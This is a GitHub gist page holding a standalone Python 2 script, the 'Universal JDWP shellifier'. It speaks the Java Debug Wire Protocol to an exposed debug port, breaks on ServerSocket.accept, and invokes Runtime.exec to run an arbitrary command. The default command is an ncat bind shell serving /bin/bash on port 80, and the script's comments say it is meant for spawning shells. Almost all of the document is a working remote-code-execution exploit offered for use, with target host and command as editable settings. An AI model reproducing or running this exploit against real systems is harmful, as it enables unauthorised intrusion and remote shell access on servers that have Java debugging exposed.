Created
December 9, 2013 07:54
-
-
Save hugsy/7868799 to your computer and use it in GitHub Desktop.
Standalone script to universally execute command on an open JDWP service
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
############################################################## | |
# | |
# Universal JDWP shellifier | |
# | |
# References | |
# * http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html | |
# * http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html | |
# | |
# Note: this script DOES NOT read output from command executed on backend. You should | |
# only use it to create a reverse shell | |
# | |
import socket | |
import time | |
import sys | |
import struct | |
import urllib | |
# +-----------------+ | |
# | change | | |
# | settings | | |
# +-----------------+ | |
RHOST = "localhost" # ip/fqdn to the target | |
RPORT = 8000 # port | |
CMD = "ncat -e /bin/bash -l -p 80" # command to execute on remote host | |
BREAK_ON_CLASS = "Ljava/net/ServerSocket;" # class having the method to break on (default is fine) | |
BREAK_ON_METHOD = "accept" # method name to break on (default is fine) | |
################################################################################ | |
# | |
# JDWP protocol variables | |
# | |
HANDSHAKE = "JDWP-Handshake" | |
REQUEST_PACKET_TYPE = 0x00 | |
REPLY_PACKET_TYPE = 0x80 | |
VERSION_SIG = (1, 1) | |
CLASSESBYSIGNATURE_SIG = (1, 2) | |
ALLCLASSES_SIG = (1, 3) | |
ALLTHREADS_SIG = (1, 4) | |
IDSIZES_SIG = (1, 7) | |
CREATESTRING_SIG = (1, 11) | |
SUSPENDVM_SIG = (1, 8) | |
RESUMEVM_SIG = (1, 9) | |
SIGNATURE_SIG = (2, 1) | |
FIELDS_SIG = (2, 4) | |
METHODS_SIG = (2, 5) | |
GETVALUES_SIG = (2, 6) | |
CLASSOBJECT_SIG = (2, 11) | |
INVOKESTATICMETHOD_SIG = (3, 3) | |
REFERENCETYPE_SIG = (9, 1) | |
INVOKEMETHOD_SIG = (9, 6) | |
STRINGVALUE_SIG = (10, 1) | |
THREADNAME_SIG = (11, 1) | |
THREADSUSPEND_SIG = (11, 2) | |
THREADRESUME_SIG = (11, 3) | |
THREADSTATUS_SIG = (11, 4) | |
EVENTSET_SIG = (15, 1) | |
EVENTCLEAR_SIG = (15, 2) | |
EVENTCLEARALL_SIG = (15, 3) | |
MODKIND_COUNT = 1 | |
MODKIND_THREADONLY = 2 | |
MODKIND_CLASSMATCH = 5 | |
MODKIND_LOCATIONONLY = 7 | |
EVENT_BREAKPOINT = 2 | |
SUSPEND_EVENTTHREAD = 1 | |
SUSPEND_ALL = 2 | |
NOT_IMPLEMENTED = 99 | |
VM_DEAD = 112 | |
INVOKE_SINGLE_THREADED = 2 | |
TAG_OBJECT = 76 | |
TYPE_CLASS = 1 | |
################################################################################ | |
# | |
# JDWP client class | |
# | |
class JDWPClient: | |
def __init__(self): | |
self.methods = {} | |
self.fields = {} | |
self.id = 0x01 | |
def create_packet(self, cmdsig, data=""): | |
flags = 0x00 | |
cmdset, cmd = cmdsig | |
pktlen = len(data) + 11 | |
pkt = struct.pack(">IIccc", pktlen, self.id, chr(flags), chr(cmdset), chr(cmd)) | |
# print ">len:%#x \t id=%d \t flags=%#x \t cmdset=%x \t cmd=%x" % (pktlen, self.id, flags, cmdset, cmd) | |
pkt+= data | |
self.id += 2 | |
return pkt | |
def read_reply(self): | |
header = self.socket.recv(11) | |
pktlen, id, flags, errcode = struct.unpack(">IIcH", header) | |
if flags == chr(REPLY_PACKET_TYPE): | |
# print "<len:%#x \t id=%d \t flags=%#x \t errcode=%d" % (pktlen, id, ord(flags), errcode) | |
if errcode : | |
raise Exception("Received errcode %d" % errcode) | |
buf = "" | |
while len(buf) + 11 < pktlen: | |
data = self.socket.recv(1024) | |
if len(data): | |
buf += data | |
else: | |
time.sleep(1) | |
return buf | |
def parse_entries(self, buf, formats, explicit=True): | |
entries = [] | |
if explicit: | |
nb_entries = struct.unpack(">I", buf[:4])[0] | |
# print "[+] read %d entries" % nb_entries | |
buf = buf[4:] | |
else: | |
nb_entries = 1 | |
for i in range(nb_entries): | |
data = {} | |
for fmt, name in formats: | |
if fmt == "L" or fmt == 8: | |
data[name] = int(struct.unpack(">Q", buf[:8])[0]) | |
buf = buf[8:] | |
elif fmt == "I" or fmt == 4: | |
data[name] = int(struct.unpack(">I", buf[:4])[0]) | |
buf = buf[4:] | |
elif fmt == 'S': | |
l = struct.unpack(">I", buf[:4])[0] | |
data[name] = buf[4:4+l] | |
buf = buf[4+l:] | |
elif fmt == 'C': | |
data[name] = ord(struct.unpack(">c", buf[:1])[0]) | |
buf = buf[1:] | |
elif fmt == 'Z': # zpecifics | |
t = ord(struct.unpack(">c", buf[:1])[0]) | |
if t == 115: # string (objid) | |
s = self.solve_string(buf[1:9]) | |
data[name] = s | |
buf = buf[9:] | |
elif t == 73: # int | |
data[name] = struct.unpack(">I", buf[1:5])[0] | |
buf = struct.unpack(">I", buf[5:9]) | |
# todo other type if time | |
else: | |
print "Error" | |
exit(1) | |
entries.append( data ) | |
return entries | |
def format(self, fmt, value): | |
if fmt == "L" or fmt == 8: | |
return struct.pack(">Q", value) | |
elif fmt == "I" or fmt == 4: | |
return struct.pack(">I", value) | |
else: | |
raise Exception("Unknown format") | |
def unformat(self, fmt, value): | |
if fmt == "L" or fmt == 8: | |
return struct.unpack(">Q", value[:8])[0] | |
elif fmt == "I" or fmt == 4: | |
return struct.unpack(">I", value[:4])[0] | |
else: | |
raise Exception("Unknown format") | |
def start(self, host, port): | |
self.handshake(host, port) | |
self.idsizes() | |
self.getversion() | |
self.allclasses() | |
# self.allthreads() # not used, faster | |
def handshake(self, host, port): | |
s = socket.socket() | |
s.connect( (host, port) ) | |
s.send( HANDSHAKE ) | |
if s.recv( len(HANDSHAKE) ) != HANDSHAKE: | |
raise Exception("failed to handshake") | |
else: | |
# print "[+] connected" | |
self.socket = s | |
return | |
def leave(self): | |
self.socket.close() | |
return | |
def getversion(self): | |
self.socket.sendall( self.create_packet(VERSION_SIG) ) | |
buf = self.read_reply() | |
formats = [ ('S', "description"), ('I', "jdwpMajor"), ('I', "jdwpMinor"), | |
('S', "vmVersion"), ('S', "vmName"), ] | |
for entry in self.parse_entries(buf, formats, False): | |
for name,value in entry.iteritems(): | |
setattr(self, name, value) | |
return | |
@property | |
def version(self): | |
return "%s - %s" % (self.vmName, self.vmVersion) | |
def idsizes(self): | |
self.socket.sendall( self.create_packet(IDSIZES_SIG) ) | |
buf = self.read_reply() | |
formats = [ ("I", "fieldIDSize"), ("I", "methodIDSize"), ("I", "objectIDSize"), | |
("I", "referenceTypeIDSize"), ("I", "frameIDSize") ] | |
for entry in self.parse_entries(buf, formats, False): | |
for name,value in entry.iteritems(): | |
setattr(self, name, value) | |
# print name, " ", value | |
return | |
def allthreads(self): | |
try: | |
getattr(self, "threads") | |
except : | |
self.socket.sendall( self.create_packet(ALLTHREADS_SIG) ) | |
buf = self.read_reply() | |
formats = [ (self.objectIDSize, "threadId")] | |
self.threads = self.parse_entries(buf, formats) | |
finally: | |
return self.threads | |
def get_thread_by_name(self, name): | |
self.allthreads() | |
for t in self.threads: | |
threadId = self.format(self.objectIDSize, t["threadId"]) | |
self.socket.sendall( self.create_packet(THREADNAME_SIG, data=threadId) ) | |
buf = self.read_reply() | |
if len(buf) and name == self.readstring(buf): | |
return t | |
return None | |
def allclasses(self): | |
try: | |
getattr(self, "classes") | |
except: | |
self.socket.sendall( self.create_packet(ALLCLASSES_SIG) ) | |
buf = self.read_reply() | |
formats = [ ('C', "refTypeTag"), | |
(self.referenceTypeIDSize, "refTypeId"), | |
('S', "signature"), | |
('I', "status")] | |
self.classes = self.parse_entries(buf, formats) | |
finally: | |
return self.classes | |
return | |
def get_class_by_name(self, name): | |
for entry in self.classes: | |
if entry["signature"].lower() == name.lower() : | |
return entry | |
return None | |
def get_methods(self, refTypeId): | |
if not self.methods.has_key(refTypeId): | |
refId = self.format(self.referenceTypeIDSize, refTypeId) | |
self.socket.sendall( self.create_packet(METHODS_SIG, data=refId) ) | |
buf = self.read_reply() | |
formats = [ (self.methodIDSize, "methodId"), | |
('S', "name"), | |
('S', "signature"), | |
('I', "modBits")] | |
self.methods[refTypeId] = self.parse_entries(buf, formats) | |
return self.methods[refTypeId] | |
def get_method_by_name(self, name): | |
for refId in self.methods.keys(): | |
for entry in self.methods[refId]: | |
if entry["name"].lower() == name.lower() : | |
return entry | |
return None | |
def getfields(self, refTypeId): | |
if not self.fields.has_key( refTypeId ): | |
refId = self.format(self.referenceTypeIDSize, refTypeId) | |
self.socket.sendall( self.create_packet(FIELDS_SIG, data=refId) ) | |
buf = self.read_reply() | |
formats = [ (self.fieldIDSize, "fieldId"), | |
('S', "name"), | |
('S', "signature"), | |
('I', "modbits")] | |
self.fields[refTypeId] = self.parse_entries(buf, formats) | |
return self.fields[refTypeId] | |
def getvalue(self, refTypeId, fieldId): | |
data = self.format(self.referenceTypeIDSize, refTypeId) | |
data+= struct.pack(">I", 1) | |
data+= self.format(self.fieldIDSize, fieldId) | |
self.socket.sendall( self.create_packet(GETVALUES_SIG, data=data) ) | |
buf = self.read_reply() | |
formats = [ ("Z", "value") ] | |
field = self.parse_entries(buf, formats)[0] | |
return field | |
def createstring(self, data): | |
buf = self.buildstring(data) | |
self.socket.sendall( self.create_packet(CREATESTRING_SIG, data=buf) ) | |
buf = self.read_reply() | |
return self.parse_entries(buf, [(self.objectIDSize, "objId")], False) | |
def buildstring(self, data): | |
return struct.pack(">I", len(data)) + data | |
def readstring(self, data): | |
size = struct.unpack(">I", data[:4])[0] | |
# print "string size is %d" % size | |
return data[4:4+size] | |
def suspendvm(self): | |
self.socket.sendall( self.create_packet( SUSPENDVM_SIG ) ) | |
self.read_reply() | |
return | |
def resumevm(self): | |
self.socket.sendall( self.create_packet( RESUMEVM_SIG ) ) | |
self.read_reply() | |
return | |
def invokestatic(self, classId, threadId, methId, objId=None, *args): | |
data = self.format(self.referenceTypeIDSize, classId) | |
data+= self.format(self.objectIDSize, threadId) | |
data+= self.format(self.methodIDSize, methId) | |
data+= struct.pack(">I", len(args)) | |
for arg in args: | |
data+= arg | |
data+= struct.pack(">I", 0) | |
self.socket.sendall( self.create_packet(INVOKESTATICMETHOD_SIG, data=data) ) | |
buf = self.read_reply() | |
return buf | |
def invoke(self, objId, threadId, classId, methId, *args): | |
data = self.format(self.objectIDSize, objId) | |
data+= self.format(self.objectIDSize, threadId) | |
data+= self.format(self.referenceTypeIDSize, classId) | |
data+= self.format(self.methodIDSize, methId) | |
data+= struct.pack(">I", len(args)) | |
for arg in args: | |
data+= arg | |
data+= struct.pack(">I", 0) | |
self.socket.sendall( self.create_packet(INVOKEMETHOD_SIG, data=data) ) | |
buf = self.read_reply() | |
return buf | |
def solve_string(self, objId): | |
self.socket.sendall( self.create_packet(STRINGVALUE_SIG, data=objId) ) | |
buf = self.read_reply() | |
if len(buf): | |
return self.readstring(buf) | |
else: | |
return "" | |
def query_thread(self, threadId, kind): | |
data = self.format(self.objectIDSize, threadId) | |
self.socket.sendall( self.create_packet(kind, data=data) ) | |
buf = self.read_reply() | |
return | |
def suspend_thread(self, threadId): | |
return self.query_thread(threadId, THREADSUSPEND_SIG) | |
def status_thread(self, threadId): | |
return self.query_thread(threadId, THREADSTATUS_SIG) | |
def resume_thread(self, threadId): | |
return self.query_thread(threadId, THREADRESUME_SIG) | |
def send_event(self, eventCode, *args): | |
data = "" | |
data+= chr( eventCode ) | |
data+= chr( SUSPEND_ALL ) | |
data+= struct.pack(">I", len(args)) | |
for kind, option in args: | |
data+= chr( kind ) | |
data+= option | |
self.socket.sendall( self.create_packet(EVENTSET_SIG, data=data) ) | |
buf = self.read_reply() | |
return struct.unpack(">I", buf)[0] | |
def clear_event(self, eventCode, rId): | |
data = chr(eventCode) | |
data+= struct.pack(">I", rId) | |
self.socket.sendall( self.create_packet(EVENTCLEAR_SIG, data=data) ) | |
self.read_reply() | |
return | |
def clear_events(self): | |
self.socket.sendall( self.create_packet(EVENTCLEARALL_SIG) ) | |
self.read_reply() | |
return | |
def wait_for_event(self): | |
buf = self.read_reply() | |
return buf | |
def parse_event_breakpoint(self, buf, eventId): | |
num = struct.unpack(">I", buf[2:6])[0] | |
rId = struct.unpack(">I", buf[6:10])[0] | |
if rId != eventId: | |
return None | |
tId = self.unformat(self.objectIDSize, buf[10:10+self.objectIDSize]) | |
loc = -1 # don't care | |
return rId, tId, loc | |
def runtime_exec(cli, cmd): | |
print "[+] Reading settings for '%s'" % cli.version | |
# 1. allocating string containing our command to exec() | |
cmdObjIds = cli.createstring(cmd) | |
if len(cmdObjIds) == 0: | |
print "[-] failed to allocate command" | |
return False | |
cmdObjId = cmdObjIds[0]["objId"] | |
print "[+] command string object created id:%x" % cmdObjId | |
# 2. get Runtime class reference | |
clazz = cli.get_class_by_name("Ljava/lang/Runtime;") | |
if clazz is None: | |
print "[-] cannot find class Runtime" | |
return False | |
print "[+] found Runtime class: id=%x" % clazz["refTypeId"] | |
# 3. get getRuntime() meth reference | |
cli.get_methods(clazz["refTypeId"]) | |
meth = cli.get_method_by_name("getRuntime") | |
if meth is None: | |
print "[-] cannot find method getRuntime" | |
return False | |
print "[+] found getRuntime: id=%x" % meth["methodId"] | |
# 4. setup breakpoint on frequently called method | |
c = cli.get_class_by_name(BREAK_ON_CLASS) | |
cli.get_methods( c["refTypeId"] ) | |
m = cli.get_method_by_name(BREAK_ON_METHOD) | |
loc = chr( TYPE_CLASS ) | |
loc+= cli.format( cli.referenceTypeIDSize, c["refTypeId"] ) | |
loc+= cli.format( cli.methodIDSize, m["methodId"] ) | |
loc+= struct.pack(">II", 0, 0) | |
data = [ (MODKIND_LOCATIONONLY, loc), ] | |
rId = cli.send_event( EVENT_BREAKPOINT, *data ) | |
print "[+] created break event id=%x" % rId | |
# 5. resume vm and wait for event | |
cli.resumevm() | |
print "[+] waiting for a matching event" | |
while True: | |
buf = cli.wait_for_event() | |
ret = cli.parse_event_breakpoint(buf, rId) | |
if ret is not None: | |
break | |
rId, tId, loc = ret | |
print "[+] received matching event from thread %#x" % tId | |
# 6. use context to get Runtime object | |
buf = cli.invokestatic(clazz["refTypeId"], tId, meth["methodId"]) | |
if buf[0] != chr(TAG_OBJECT): | |
print "[-] Unexpected returned type" | |
return False | |
rt = cli.unformat(cli.objectIDSize, buf[1:1+cli.objectIDSize]) | |
cli.clear_event(EVENT_BREAKPOINT, rId) | |
if rt is None: | |
print "[-] failed to invoke Runtime.getRuntime()" | |
return False | |
print "[+] got runtime context id:%#x" % rt | |
# 7. find exec() method | |
meth = cli.get_method_by_name("exec") | |
if meth is None: | |
print "[-] cannot find method exec" | |
return False | |
print "[+] found exec: id=%x" % meth["methodId"] | |
# 8. call exec() in this context with the alloc-ed string | |
data = [ chr(TAG_OBJECT) + cli.format(cli.objectIDSize, cmdObjId) ] | |
buf = cli.invoke(rt, tId, clazz["refTypeId"], meth["methodId"], *data) | |
if buf[0] != chr(TAG_OBJECT): | |
print "[-] Unexpected returned type" | |
return False | |
print "[+] Invoking exec() successful, retId=%x" % cli.unformat(cli.objectIDSize, buf[1:1+cli.objectIDSize]) | |
cli.resumevm() | |
print "[+] Command successfully executed" | |
return True | |
if __name__ == "__main__": | |
retcode = 0 | |
cli = JDWPClient() | |
try: | |
cli.start(RHOST, RPORT) | |
if runtime_exec(cli, CMD) == False: | |
print "[-] Exploit failed" | |
retcode = 1 | |
except KeyboardInterrupt: | |
pass | |
except Exception, e: | |
print "[-] Exception: %s" % e | |
retcode = 1 | |
finally: | |
cli.leave() | |
exit(retcode) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment